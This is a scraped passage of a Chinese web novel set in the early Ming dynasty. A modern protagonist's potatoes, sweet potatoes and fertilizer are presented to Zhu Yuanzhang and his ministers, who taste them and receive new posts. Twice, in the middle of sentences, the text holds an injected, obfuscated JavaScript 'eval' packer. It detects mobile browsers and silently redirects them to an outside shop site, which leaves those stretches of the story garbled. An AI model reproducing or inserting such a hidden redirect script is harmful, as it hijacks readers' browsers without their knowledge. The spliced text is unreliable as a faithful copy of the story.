“呵呵,那些田地的管事,总是要挣些辛苦费的,有的贪,有的没那么贪。” “好家伙,就是没有不贪的是吧。”朱安宁失笑摇头:“等过些日子,我让你收再收,先和那些管事说好啊,钱银,我是真金白银掏出来的,谁家掺水了,只一次,我便不再收,你让他们不要动歪心思!” “这个好说,农家更在乎粪,沤肥少些尿也不会有什么问题,都是愿意卖的。” “我担心的是那些管事。”朱安宁瞥了一眼成梁,笑了起来。 成梁也瞬间明白了朱安宁的意思,不由得苦笑了起来。 确实……那些鬼精的管事……说不得,自己得好好盯紧这事了,毕竟朱爷很看重啊。 两人坐在树下,而屋内的朱棣还在睡觉。 茶水又续了一轮。 朱安宁继续开了口:“你应该听我说过,石膏可以做肥料吧。” 这句话,他说得很轻描淡写。 但是落到成梁心中,却是让他一震。 有些事情,朱安宁不说,他绝不会多问。 但是,如果朱安宁愿意告诉他,是否可以说……他会更受重用呢? 这么些日子,成梁看着院子里的人进进出出,怎么看都不像是简单人物,更别说朱安宁还和太子有关系。 成梁可不是什么混吃等死的主,他也想发光发热! 现在机会,似乎要来了! “朱爷曾经透露过一二,但是更具体的情况,我并不知晓。” 成梁的回答很老实。 其实朱安宁真的对这个汉子很满意。 交代做的事情就老老实实做。 自己这里人来人往,乱七八糟的事情一件接一件。。 但是他却从来不问,直接就当没听到没看到。 这职业素养,放现代高低是个职业经理人啊! “配方在这里,你可以好好看一下,肥料的制作,未来就交由你了,很快五军都督府那边应该就会过来要第一批货的了,这笔生意,我们占五成,太子占五成,赚了钱银,还得分太子那边,但是好处就是,我们可以扯太子的大旗来卖,你是会做生意的,你应该比我懂。” 朱安宁喝着茶,笑了两声。 成梁对于这事可是太懂了。 生意最看背景。 哪有什么背景,能比得上太子?也就是皇帝了吧…… 他颤抖着接过了朱安宁递过去的纸张,激动的表情不似作伪。 “全交予我?” “嗯,我这房子一堆空屋子,到时你也住进来就好,制作肥料的工坊,必须要建在永乐庄,到时我会募集村民来帮忙的。” 朱安宁翘着二郎腿。 把安排告诉了成梁。 成梁再也忍不住。 从椅子那站起,然后行了个大礼。 朱安宁虽说没有被吓到,但是还是觉得古人真就是爱行礼……怎么各个都这么有礼貌,之前看那赵集对着自己院子里的人都很是有礼…… “朱爷,承蒙不弃,这肥料一事,我定当肝脑涂地……” “停停停,肝脑涂地干嘛,阿梁,我们是要发财而已……不用那么夸张……而且,这肥料,不过只是个开始而已!” 朱安宁也站了起来。 他嘿嘿一笑。 迎着朝阳的他。 想起了某个老人说过,天下,未来都是他们的,一股热血,瞬间上涌。 他说我们是八点钟的太阳! 那我就做给他看! 某人,正想挥斥方遒,继续说一说他接下来的伟大计划,给已经对他顶礼膜拜的成梁听。 结果,衣服都没怎么穿好的屋内住客,打着哈欠,挠着后背,走到了院子里。 打断了他的激昂。 “嗯?……嗯……朱哥,早饭吃什么?”朱棣半眯着眼睛,只觉得太阳很晒,便也是学着朱安宁以前骂人的语气,嘟囔了两句:“这日,我日。” “…… ” “……” “吃屎……” 某个装逼不成的人,在那恼火。 “啊?……” 而刚睡醒的朱棣,则是一脸懵逼。 ———————————————————— 殿内。 包括朱橚在内的一众前永乐庄朱安宁小院住客,正跪在那。 因为站在他们身前的人是当朝最有权力那人,朱元璋。 殿内的人,这次可不算少,十几号人站立着,却没有人说话。 朱标李善长刘伯温李文忠自不必说,他们本就是这事的相关者,出现在这里实属正常。 而有些出乎他们意料的是,这次老朱,把阁臣,几个尚书都叫了过来。 一众高官们面面相觑地看着朱元璋,又看了看跪着的几人。 忍不住,私聊了起来。 “周王啊……” “什么情况,周王又做了什么事气着陛下了?” “你看陛下像是生气的样子?” “那不是刘畾刘廌么,诚意伯的孙子诶。” “李景隆怎么也在这?” “这几个人干什么荒唐事了吧。” “不至于吧……干荒唐事能把我们都叫来?” 几个尚书都不约而同地把目光投向了阁臣。 阁臣,说白了就是现在老朱的秘书,尚书们都搞不清楚的事情,自然只能问秘书。 “王大人,你们有什么消息没?” 王本听见身后几个同僚发问,也是一阵苦笑,然后摇了摇头。 他们本身品级就不高,被朱元璋提拔上来更多是处理一些琐事罢了。 都这么久了,偏偏还是有一群官员认为他们大权在握。 真是可笑…… 关于很多核心的事情,现在往往都是朱元璋找对应的人商量好了,才会和他们说,商讨接下来的细节。 所以他也不知道,今儿究竟是怎么了。 众人便看着朱元璋来回走了两圈。 下面的窃窃私语,老朱都听在耳中,待到众人略微安静些,他才走上自己的龙椅,坐了下去。 “老五啊,你不是有事要跟咱商量么?” 只见老朱轻笑着,靠在了龙椅上,摆了个舒服的姿势。 这事,已经拖太久了,太久了。 现在,有了眼前这筐土豆番薯,很多事情,一下就能通了。 他明知故问地提了下朱橚。 朱橚脸色一凛,穿着皇子蟒袍的他,站了起来,回道。 “父皇,这红色的名番薯,黄色名土豆,皆是域外作物。” 他开始配合老朱唱双簧。 几个早就知道了这番薯和土豆的人,都是开始闭目养神起来。 只有那几个尚书和阁臣有些好奇。 “番薯,土豆?” 几个尚书又捅了捅另外一个阁臣,杜佑。 “杜大人,你是否听过?” “未曾听过……” 几人又开始窃窃私语。 其实他们早就看到了那箩筐里的东西,只是碍于朱元璋在这里,不敢大声发问。 “嘘,听周王说吧。” 在一旁闭目养神了许久的李善长,突然开了口,制止了众人的私语。 此时一众老臣也突然发现了,这李善长的儿子李祺居然也站在这里。 他明明不是重臣才对。 且他又不像李景隆他们跪在下方。 真是怪哉。 几个老臣都不约而同地闭了嘴。 今天这事,应该是大事。 慎言,慎言。 几人都是立马就下了决断。 李善长哪管那些大臣们在想什么。 他只知道自己家的地位,不出意外,那是越来越稳固了啊! 自己的儿子居然也能参与到关系到大明千秋万代的大事中来,这是陛下的恩宠! 他早已暗中交代了自己儿子,务必上点心。 这李祺也不是什么草包,他作为大驸马,是皇亲不说,朱元璋还很看重的他为人,每每赈灾或者修水利,都会派他去镇场子。 这番薯土豆一事,他是听自己老父亲说过的,但是架不住还是好奇啊。 在府上听自己父亲说亩产二十石的时候,他一度认为自己父亲是不是老糊涂了,就差叫大夫了。 是李善长好说歹说,他才勉强相信了一些。 今日被唤到宫中来,更是确定了自己父亲所言不虚…… 他睁大了眼睛,想看清那番薯土豆的样子,更想听听周王会说些什么东西。 朱元璋默默地看着众人的反应,等到再一次安静,他才继续向朱橚问道。 “哦?番薯土豆啊,未曾听过,能否当主粮,能否代替稻谷小米或者小麦呢?” 他依旧是半倚着,给一众人一股难以言喻的压迫感。 “回父皇,番薯单独吃可饱腹,但多吃会滞胀,配小米或大米,熬粥更易消化。” 这话说出来。 户部尚书杨思义立马就有了反应。 能吃?能饱腹! 他心急地想问亩产。 这个老尚书,最近可是要被 各地雪花般的收成折子给愁入土了。 山西一带大旱,绝收已经板上钉钉的事情了。 而这旱灾似乎能传染,不少地方,挂穗不足往年七成,可以预见今年绝对是歉收的年份,可偏偏对北方,现在又启动了战事…… 打赢打输他一文官左右不了,但是不管哪个结局,要钱要粮……特别是粮……的手,都会伸向他。 只是他还未开口,刘伯温边一把拉住了他。 给了个眼神给杨思义,刘伯温轻轻地摇了摇头。 就这么一阻滞,朱橚又继续说了起来。 “黄色土豆,可直接替代主食,也可做菜。” 这话无比简练。 朱元璋点了点头,觉得时候也差不多了,便直接问出了一众人最关心的问题核心。 “亩产如何。” “番薯二十石,土豆略少,但也有十五石以上。” 整个大殿,鸦雀无声。 阁臣们也好,尚书们也好,都在面面相觑。 直到过了不知多久。 杨思义又像哭又像笑地问了一句。 “老臣……老臣兴许是上了年纪了,有点耳背,好像听成了二十石和十五石。” 众人的表情,都是很是奇妙。 至少一半人以为自己是听错了。 而另一半人,很确信自己没听错,但是他们只能怀疑周王,是不是癫了…… 这个数字太过夸张。 一如朱元璋刘伯温他们最初听到时,觉得荒唐那般。 要不是朱安宁提出可以种出来看看,他们也是万万不能信的。 殿内的大臣们,目光全部都投向了朱橚。 他们想看看,这个周王,究竟是个什么情况…… 而朱橚,自然是丝毫不虚。 挖土豆番薯那天,他老爹都是在场的。 产量那是实实在在算的出来了。 这事没得作假。 他今天在站在这里,不过是为了配合他老爹的一些想法而已。 “此话当真?” 朱元璋不动声色。 几个老臣,瞄了眼朱元璋,突然就停止了躁动。 这等逆天的亩产,朱老板能无动于衷。 那只有一种情况…… 这事他是知道的! 眼力见快些的,一下就看出来了。 眼拙些的,也是很快品出了味道。 至于再差些的,要么已经下了地府,要么是没有资格出现在这里。 今天站在殿内的,除了几个年轻人外,剩下的都是人精。 “眼前这筐番薯,土豆,正是儿臣所种,种植法子和具体亩产,我与刘廌,刘畾,李景隆几人,皆有记录在册,绝无虚假!” 这话一出。 一众人的目光,就开始瞥向刘伯温和李文忠。 心里想的自然也是。 好家伙这两人,居然也是知情的。 至于那夸张的亩产数字。 慢慢,已经开始接受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378772|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然还是很震撼。 “敢问,周王,这等天地罕见的神物,种植难度很大?亦或是对土,对水的要求很苛刻。” 户部尚书杨思义,终于是按捺不住,走到了殿中,开始发问。 事关户部未来收粮,派粮的大事,他不可能置身事外。 其实兵部也在那蠢蠢欲动,他想问的也是大同小异。 所有官员,都知道二十石,十五石代表了什么。 现在的稻谷,小麦,也就是是二三石而已,一下几倍的差距。 这是否意味着,困扰明初的粮食短缺问题,一下子就能解决了呢? 甚至说,以后的百姓,也能够简单获取食物来源。 不必在像现在这般,饥一顿饱一顿。 那么,此等神物,代价是什么? 众人都很想知道。 而此刻,杨思义,便是他们的嘴替。 怀疑亩产已经没有意义。 因为老朱都没有怀疑。 听见杨思义的提问。 朱橚深吸了一口气。 缓缓转过身,对一众人行了个礼,才回答道。 “普通的田地,普通地浇灌,具体的细节,我已经记录好。” “不需要用某些特殊的手法……比如加入什么宝石矿物之类的?“ 杨思义一脸懵,这是否有点付出和收获太过悬殊。 不仅是他,剩下的一堆重臣,也是多少有点懵。 包括刘伯温李文忠等人。 他们是知道自己的子辈,孙辈在那种地的。 但是怎么听朱橚说的,好像很简单一样。 连朱元璋也是一脸黑线。 自己家这个老五,真就是一到关键时刻一些东西就讲不清楚,还真不如老大或者老四……哎。 于是,他也只能被迫轻咳了一声。 “老五,你不是说要施肥么?” “哦,对,肥料,需要特制肥料。” “肥料?” 杨思义一听,那是终于松了口气。 其他大臣也是这般。 众人都觉得,如此厉害的作物,怎么可能这么轻易就种出来。 有额外的付出,那才是正理。 讲到肥料正题,朱标深吸一口,也走前了一步。 向朱元璋的方向拜了拜。 “父皇,特制肥料的配方已经入手,未来将由东宫统一制肥,此肥也已经试验过了,虽本是用于土豆番薯的肥料,但是用在普通作物上,也有效果。” “普通作物也有效果?!”这下连兵部尚书都绷不住了。 他也是最近粮草紧缺的受害者之一。 现在听到这肥料对普通作物也有用,那是差点就给朱标给跪下了。 北方的战事,虽然还处在前期的接触战中,但是他作为后方的人,那是需要源源不断地统筹粮草上前线的。 “估计能有两到三成的增产效果。” 朱标微微一笑,说出了结论。 这不是空口无凭瞎说的。 那天收完番薯和土豆,朱元璋领着他,马不停蹄地去看了永乐庄的稻田和隔壁村子的。 老朱这个老农,简单看了下挂穗量,掂量了几下,立马就得出了结论,三成是保守数字…… 朱安宁的肥料,是靠谱的! 现在朱元璋特地在这人多的时候提及,是动了些心思的。 朱橚昨晚回宫就已经找他聊过了,虽然朱小五的政治嗅觉和手腕,都是一塌糊涂,但是他的科学素养是毋庸置疑的。 当朱橚把肥料的具体情况告知朱元璋后。 朱元璋是倒吸了一口凉气,瞬间get到了朱安宁的意思。 用肥料控制天下农民,顺带控制地主,土绅,甚至于,如果肥料都需要中央去分发,那么基本就是强化了对基层的统治。 这种涉及到口粮的物料配给,是最能拿捏住人的。 虽然这只是个构想,还需要细化,但是已经足够让朱元璋浮想联翩了。 这比控制盐铁还重要啊! 朱橚说这事的时候,朱标也在场,其实他要比朱元璋先一步想到肥料的重要性。 但是他确实也是没想到这肥料的效果能如此强劲。 只能说幸好当时谈了一半的占有。 “三成的效果!配方所需的东西昂贵么?” “不贵,相对易得。”朱标背着手,开始回答群臣的问题。 “那是否需要耗费大量人力去制作。” “不需要。” “那是耗费的时间长?” “三五日到半月不等,这个需要看气候。” 几个问题下来。 群臣开始默默对视。 都从对方眼中看到了震惊二字。 洪武开朝那么些年。 没有一天像今日那么令人震惊。 胡惟庸被抓当日都没有那么震惊…… 新粮,肥料,这两个东西,都是可以作为国之根本的存在。 而朱橚却好像随便掏出来一样,都不带商量的。 显得他们之前为了筹措粮食而努力的行为,好像有点蠢…… “对了,大家又是上朝,又是来我这看新粮,应该也有点饿了吧,今儿,我们就煮煮这番薯,土豆,看看味道怎么样吧。” 朱元璋还是半躺着,他本是看自己大儿子朱标表演的。 怎能想到大臣们好像都已经接受现实了。 那就赶紧进行下一步呗。 他使了个眼色给李景隆。 只见李景隆是咻地站了起来,那礼仪也是相当得体。 他朗声说道:“陛下,这两物的烹调方式,我较为熟悉,能否让我来?” “嗯,可以,九江,好好煮,诸位大人,可是等着你这一口呢。” 朱元璋把话说得很轻。 但是李景隆又不是什么憨批,这很轻的话语下,蕴含了很重的责任啊。 他当机立断叫起了刘畾和刘廌。 三人没有过多言语,很快就接过了太监们早就准备好的器具,往殿外走去。 那里有早就垒好的灶台。 跟着李景隆三人走出去的一众人,看到了这里,哪还能不知道这是朱老板早就安排好的事情。 但是看破不说破。 况且众人,还真就有些期待,这新作物的味道。 便也就站着等了起来。 只见李景隆熟练地点火。 刘畾把柴木劈得更细了些。 刘廌则是熟练地开始清洗番薯和土豆。 “番薯烤,土豆还是抄?”李景隆还是有些紧张。 “你会做,你决定……”刘廌和刘畾,则咧嘴一笑,当了次不粘锅。 第一百六十九章 少詹事 来到了殿外,这活动空间一下就宽敞了许多。 一众官员们也就少了点拘谨。 看着李景隆和刘廌刘畾忙前忙后的样子,也是有些侧目。 “这九江儿怎么一副很熟稔的样子……” “不对,你看诚意伯家那两孙儿也是,这麻利得很啊。” “啧,你们两老眼昏花了是不是,你看他们几个,还有周王,都晒黑了多少……明显就是悄悄地在帮陛下做了些什么……咳咳……” 礼部尚书轻咳了几声,推断确实得到了一众人的认可。 也终于注意到了这几个年轻人,都晒得跟块碳似的,换身衣裳,说是农家小孩,他们都不会觉得违和的那种。 看来陛下真的早有布局。 这一箩筐新粮,就是他们种出来的? 就是不知道这些奇物,究竟是从何而来啊! 朱元璋和朱标,站在稍远些的地方。 却没有一众人等那么好奇。 朱元璋都吃好几次了,朱标昨夜也试过,哪还会说看人做饭就伸着脖子在那看。 “标儿,你昨夜和我吵,说必须要让六部内阁重臣们都知道这消息,真就是只为了推广新粮和肥料?” “父皇心里不是已经有了答案,才答应我的么。”朱标轻笑着,要是论了解朱元璋,他朱标绝对是名列三甲的存在。 “兹事体大,虽然我们已经信了他的说法,去建好了粮仓,但是不是实物摆到面前,我如何敢下这旨意。” 朱元璋轻轻摇了摇头。 要是说杀伐果断,他绝对是历史上一号皇帝,但是涉及到万民社稷,就算是他,也摇摆了起来。 当然了,现在这份摇摆,已经随着土豆番薯连着藤蔓挖出时,消散。 是时候下定决心了。 两父子,看着那一箩筐的番薯和土豆,眼睛同时放出了精光。 朱橚站在一边就有点无所事事了。 他该说的都和自家老爹说了,今儿不过是过来陪他演一出好戏而已…… 现在自己的戏份,已经落幕,看就好,反正做菜小院公认是朱安宁做的最好吃,过来就是李九江了。 …… 而正在做饭的李景隆是不知道有那么多弯弯道道的。 他只知道这番薯这土豆是他辛辛苦苦哼哧哼哧种出来的,做不好吃了,不说先生想不想打死他,他自己都想找块豆腐撞死。 番薯,土豆他早就已经丢到了已经熄火的木炭中烘烤,小半时辰就行。 而他也没准备就此收手,剩下的土豆切片一份,切丝一份。 柴火炉热锅,下油,为了激发香味,这李景隆还把昨日离开永乐庄时掏的几个辣椒拿了出来。 不多时,几份清炒土豆丝和醋溜土豆,都被摆在了按台前。 人毕竟多,李景隆还是多炒了几份。 而刘畾刘廌自然就充当了传菜小哥。 众人原本就是上完早朝就过来的。 这肚子早就饿得不要不要了。 李景隆做菜也算是有天赋,比起熬猪食的朱棣等人那是强上不少。 所以香气很快就溢满了整个小院。 几个老臣那是不自觉肚子咕咕叫了起来。 看见李景隆把锅一放,看着就是煮好了的样子,众人终于是忍不住围了上去。 和李文忠熟些的兵部尚书,跟在一众人后面,旁边恰好的就是李文忠,他忍不住打趣了两句:“曹国公,没想到九江还会做菜……” 放在平日。 李文忠怕不是会恼火起来。 这做菜算什么本事,男儿大丈夫,自然得是能文能武啦! 但是今时不同往日,这一手炒菜功夫,那是连上位都侧目的。 “九江,你真的学了不少东西啊。”朱元璋乐呵呵地笑了两声,对着李景隆是连连点头。 其实李景隆打小就受朱元璋喜欢,不然也不会后面能在洪武朝做到太子太傅了。 这句话一下就让一众官员都羡慕了起来。 学文学武一下就不重要了。 若是能得到陛下赏识,学什么不是学…… 朱元璋看着那有些忍不住开始吞咽口水的众臣,向身边的小太监挥了挥手。 那太监也是心领神会,连忙下去拿一早就备好的碗筷。 而李景隆,刘廌刘畾也没有闲着,他们戴上了厚厚的手套,开始掏炭火里的烤番薯和烤土豆。 和清炒土豆和醋溜土豆区别有些大,那炭火里的番薯土豆拿出来就极其地不好看。 与炭放一起真就是浑然一体的那种……黑得不行。 所以当碗筷摆放上来之时,大部分人的目光,都是瞥向了炒土豆,他们更愿意试试这个…… 只是饿归饿,朱元璋没动筷,他们哪敢动手。 “呵呵,老五,你来介绍一下?” 老朱还是动了些私心的。 怎么地朱橚也是他的孩子,现在菜做好了,是时候轮到他出出风头了。 虽然种地的人有好几个,但是功劳总是有大有小的嘛。 李景隆几人自然是毫无意见。 毕竟,人家是皇帝的儿子。 而朱橚本来是闭眼站在那的,突然的加戏让他猝不及防。 幸好只是介绍菜色,他也很快反应了过来。 “清炒土豆丝,醋溜土豆片,好吃,这上面红色的是辣椒,更是能激发味蕾。” 他顿了顿,又指了指那无人问津的角落。 “那是烤番薯和烤土豆。” 介绍相当简短,不过也很符合朱橚的性格,他真就没办法当一名合格的政客。 不管是哪本史书,实际对他作为藩王的评价,都不高。 “这黝黑似煤……真的可以入口?”杨思义作为户部尚书,他比起其他人都要更关心粮食,所以他终究还是没能忍住,指了指那烤番薯烤土豆,问了出声。 朱橚听完问题,也是不由得笑了起来。 他们当时第一次吃的时候,也是一脸懵。 哪有那么豪横的烹饪手法的。 但是朱安宁却是一脸馋相,告诉他们这才是人间美味,你们懂个牛子之类的云云…… 虽然朱橚他们听不大懂牛子是什么意思,但是相处这么久,也是知道朱安宁经常会说些奇怪的词语,意思虽然不通,但是终归是能理解成抒发情绪的。 “那先吃这些吧。”朱元璋看着他们的样子,也没有逼迫,而是大手一挥,夹起了一片醋溜土豆片,丢到了嘴巴里,然后哈哈大笑了起来:“九江,你这手艺,不比你们家先生差啊,好吃!” “还差得远,最重要的是,佐料缺了些……” 亚麻油没带,孜然粉先生是死活不给,那叫鸡精的提鲜之物,先生更是藏得严严实实。 李景隆只能深表遗憾。 你们没有福气吃上孜然土豆,那才是人间美味!!! “嗯?还能更好吃!下次你做给咱吃,要不是接下来你还有重任,我都想丢你去光禄寺了!”朱元璋又哈哈大笑了起来。 却是把李文忠惊了一下。 光禄寺什么地方,他曹国公的儿子万万不能去当个厨子啊…… 而剩下的人,是把重点放在了【重任】上。 看来,曹国公是虎父无犬子了啊。 几人都不由得,看了李文忠两眼。 着实也是让李文忠,先惊后喜。 连忙帮自己儿子说了两句好话。 “上位喜欢就好,去哪里任职,都是九江的福分。” “行了行了,保儿,我总不会真的让九江儿去当个厨子的吗,放心吧。还有你们,你们也快吃,趁热吃,九江的手艺真不赖!” 随着朱元璋一声令下,一众大臣也是没有再犹豫,直接动了筷子。 清炒土豆丝和醋溜土豆片,都不是什么厉害菜色,但是架不住众人肚子饿了加吃个新鲜,辣椒更是提味不少。 一众大臣是吃的连连叫好,眼睛瞪得发亮。 兵部尚书董俊和户部尚书杨思义是吃得潸然泪下。 “杨大人,好吃啊,这东西吃起来感觉也能饱啊。” “董大人,好吃,好吃!” 这哥俩饱受前线粮草和这几年歉收迫害,现在看着这两碟土豆,是真就放松了许多。 反正老朱说了亩产二十石,他们现在吃了又觉得可以…… 那还不安心啊,他们又不是抖m。 看着众人的表情,朱元璋是微不可查地点了点头。 而李景隆,刘廌刘畾此时却又把那几个煤球般的东西,推到了众人面前。 一脸诚挚。 “诸位大人,这个更好吃。” 三人是诚心诚意的。 这让一众大臣都楞在了那里。 连朱标,都不免有些侧目。 他是没吃过这煤球的…… 朱元璋倒是好些,他知道这就是看着难看,实际极为好吃。 不过能看到自己手下这批天天用折子恶心自己的人吃瘪,他也乐得吃瓜。 居然默默后退了一步,一副不想参与的样子。 而令他没想到的是,朱橚直接就走到了桌前,拿起一个又一个的炭烤番薯和炭烤土豆。 认真地一个个问了过去。 “杨大人,番薯还是土豆?” “呃……周王?我……老臣试试番薯吧。” “董大人?” …… 他就这样一个个递了过去。 不出意外的,所有人都选了番薯。 毕竟土豆刚吃了。 只是拿到手的煤球,还烫,虽然还在能忍耐的范围内,但是看这样子,也真就是不像能吃的啊。 朱元璋看着自家老五这耿直的样子,和一众大臣们那勉为其难的表情,差点就笑弯了腰。 “标儿,老五这性格,有时是不太好,但是现在,刚刚好,哈哈哈哈。” “父皇,咳咳,你收敛点……别一会大家看过来了。” “他们都盯着手里的东西呢,哪有空看我。” 朱元璋花了些时间才收敛笑意。 然后重重地咳了一声。 用威严的音调说道:“众爱卿,吃啊,怎么不吃了?这么点土豆应该没饱才对啊。” 这皇帝发话了,一众大臣自然也就只能捏着鼻子吃了。 杨思 义是第一个动手的。 他也管不了那么多了,这两种新粮,他必须要试出个底细来,不然他怎么当这个户部尚书。 于是他顶着那焦炭外壳,一口咬了下去。 然后拼死咀嚼了几下。 只觉得,明明甘甜得很,但是那外壳口感实在是不敢恭维……且很苦。 其余大臣就这么看着杨思义,表情一会舒展,一会又有点痛苦,那是多少忐忑了起来…… 毕竟一会他们也是要吃的。 过了片刻。 杨思义终于是吞下第一口番薯,咧嘴想笑一笑缓解气氛……却因为番薯外壳都是碳的缘故,嘴黑牙也黑,直接就让几个大臣绷不住,抿嘴笑了起来。 当然大笑肯定是不敢的,脑袋只有个一个,家人也是要兼顾。 朱橚看着杨思义这么刚猛,也是不由得愣了愣,只觉得这杨大人还是憨直,跟永乐庄里那些就是喜欢蛮干的农夫,好像也没什么不同…… 他随手拿起一个番薯,用上了很认真的语调解释道。 “诸位,这番薯,掰开……你们看,里面这红黄红黄的肉,才是可以吃的,当然,诸位若是想要像杨大人这样喜欢吃碳的话,这外壳的碳,倒也是有点作用,它能活血通络……” 朱橚解释得越认真,杨思义的表情就越绷不住。 几个大臣终于是憋不住,发出了像放屁一样的笑声。 那是想笑又不敢笑。 动更是不敢动,一动这气就绷不住了啊! 于是场面陷入了诡异的安静之中。 直到过了不知多久,好不容易把心情平缓下去的众人,才开始学着朱橚的法子,吃了起来。 杨思义也是如此。 虽然刚才他丢人了,但是想试一试番薯的心是没变的。 这一吃不要紧。 没了碳壳的阻碍,那里面的番薯肉是又香又甜,软软糯糯! 于是一众人的眼睛又是亮了起来。 包括杨思义。 朱橚趁着这个时候,把烤土豆也塞到了众人手里。 这次他连自己老爹朱元璋和朱标都没放过。 “父皇,大哥,你们应该还没吃过这个,试试?” “好,那朱安宁的炖土豆我吃多了,烤土豆倒是第一次,我试试。“ 朱元璋乐呵呵地吃了起来。 朱标也是如此。 “粉,香!这东西绝对可以当做主粮,而且携带远比小麦稻谷方便啊!都不用磨成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378773|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉,直接携带便是!!!” 朱元璋一下就说出了土豆的优点,要是朱安宁在这里,肯定要给他一个大拇指。 “携带是方便了,但是先生说过,储存需要小心,若是发芽决不可食用,剧毒,致死!” “居然还有这种事情?” “嗯,先生严厉交代过的。” “好好好……能储存多久。” “按先生法子挖地窖,在冬日可以储存一个整个冬天,春夏就需要看地方了。” 两父子在远处聊着土豆的事情。 一众大臣已经开始尝试烤土豆。 讨论声也一下就开始在院子里蔓延。 “嗯!这烤土豆比靠番薯好吃!” “我还是觉得李景隆炒的土豆片好吃。” “我这不是论烤的么。” “烤的还是番薯香软,它甜啊!” “我觉得烤土豆……” 一群人充分交换意见。 中国大陆上最初的关于烤番薯还是烤土豆好吃的争执,在应天府皇宫内开始上演。 只有一人置身事外。 他便是礼部尚书。 要说还是礼部尚书回来事。 他几口把烤土豆吃完,也不顾嘴角还有黑炭。 竟是一个箭步串到了朱元璋和朱标、朱橚的身前。 跪下拜了起来。 “陛下圣德广被,上应天象,下泽苍生,今日幸得此神物,实乃天赐之福,国之大幸!此二物口感上乘,定是蕴含天地之灵,预示着我大明国运昌隆,万世基业稳如磐石!昔有龙凤呈祥,今有神物降临,此乃国家兴旺之兆,百姓安乐之基。愿此神物护佑我大明千秋万载,四海升平。陛下之德,光被四表,未来定能万邦来朝,共仰我大明盛世之辉煌。臣等忝列朝班,目睹此盛事,无不欢欣鼓舞,愿竭尽所能,辅佐陛下,共谋国是,以报陛下知遇之恩,共铸大明千秋伟业,使我大明之名,永载史册,光辉万世!“ 一番马屁流畅至极,只能说不愧是搞祭礼的大员,不仅是把朱元璋夸得呆了呆,连带着他的同僚们都愣了神。 而后,能同朝为高官的,哪有普通人。 那是连忙咽下番薯或土豆,都迅速滑跪到了朱元璋的面前。 你一句乾坤之喜。 我一句社稷之庆。 那是把整个院子都闹腾了起来。 听得朱元璋是又气又好笑。 “行了行了行了,你们有空拍咱马屁,不如说说这番薯和土豆,怎么样。” “陛下,若是存储便利,按陛下所言亩产,大明,何愁饥寒!” 这是杨思义在回话。 结果朱元璋刚想继续 问下去。 一众人又开始了表演他们的拽文字能力。 盛世之始…… 神物归心…… 非凡天命…… 真就是不带重样的。 把老朱噎了个半死。 最后,他只能沉下脸来。 “咳,茹太素今儿好像没来吧。” 这句话,让还在搜肠刮肚想贺词的几人,连忙噤了声。 这事可太有名了,茹太素当年写折子长的要死,惹毛了老朱被狠揍一顿。 现在突然提他,不就是警告大伙不要废话了么。 众人自然不敢再出声。 看着安静下来的大臣们。 朱元璋的脸色终于也是缓和了下来。 他振声说道:“你们夸了那么多,说来说出应该都是认可这两种主粮了吧!” “如果认可的话,那此二物,是否应当及时推广?!杨思义,你说。” “本季水稻即将收成,若是能续上土豆或者番薯,那将是国之幸事!”这次杨思义可不敢学那礼部尚书长篇累牍,他直接就给了个结论。 让朱元璋是愉悦地点了点头。 “户部觉得可行,那工部呢?” “父皇,工部侍郎与郎中皆未到场……”朱标连忙提醒了句,去年工部尚书就空了出来,现在还未有尚书。 “哦对,那赵集……”朱元璋嘟囔了句,他刚才脑瓜子确实被这群鸟人的各种贺词吵得有点晕,竟一时忘记了现在没有工部尚书,不过这并不妨碍他继续问下去:“兵部,董俊,你怎么看。” “这第三次北征,已经十拿九稳!!!”董俊说完话便激动了起来,其实原本他是北伐反对派,他一直很恼火朱元璋为什么要力排众议,非要现在开始北伐,明明粮草只够一年,北伐可不是什么小事,拖个几年并不是没有可能啊! 现在来看,莫不是陛下早就有了准备!!! 他激动之下,又开始想贺词。 不过想了想茹太素的板子……还是抑制住了冲动。 “原是陛下早有准备……臣,这就回去更张兵部筹画!!!” “好,你懂咱的想法就行,我北伐,咱是早就已经有了准备的!”朱元璋大手一指,众人便顺着看到了箩筐里还剩下的番薯和土豆,朱元璋顺着说了下去:“应天府郊,永乐庄与郑村外有荒地万亩,设江宁屯田千户所!专种番薯、土豆等新作物!” 万亩荒地!一下就要用掉?! 那些土地虽然未开垦,但是有不少官员是瞄着的,结果一下就被老朱全部用掉了。 有精明的大臣已经在那盘算着万亩能有多少产量了。 那就是二十万石啊!几万人轻松吃半年了! 不对,应该不是用来吃,杨思义马上反应了过来,这应该是,陛下给全国准备的种粮!!! 只是朱元璋并没有给大臣们讨论的时间,他继续说了下去。 “即日起,李景隆,为江宁屯田千户所千户!刘畾刘廌为副千户!江宁屯田千户所设镇抚,李祺任镇抚,五皇子善种植,即入五军都督府,专监此新粮大事!” 不是很正式,也没有太监宣旨。 全是由朱元璋口中说出。 却也足够让在场的所有人震撼。 一下子就出了三个千户!!!还是直属五军都督府的千户!镇抚这官也是不得了,听着品级不高,但是明眼人都知道,这江宁屯田所的镇抚是直接对接朱元璋的啊! 而且一向没什么特别的五皇子,突然就变成了这等大事居中协调的那个人! 几人都是眼神复杂得且羡慕。 而朱元璋的话,还没有完。 “东宫赞读朱安宁,献宝有功,升少詹事,辅佐太子。” 第一百七十章 金吾卫,远道而来 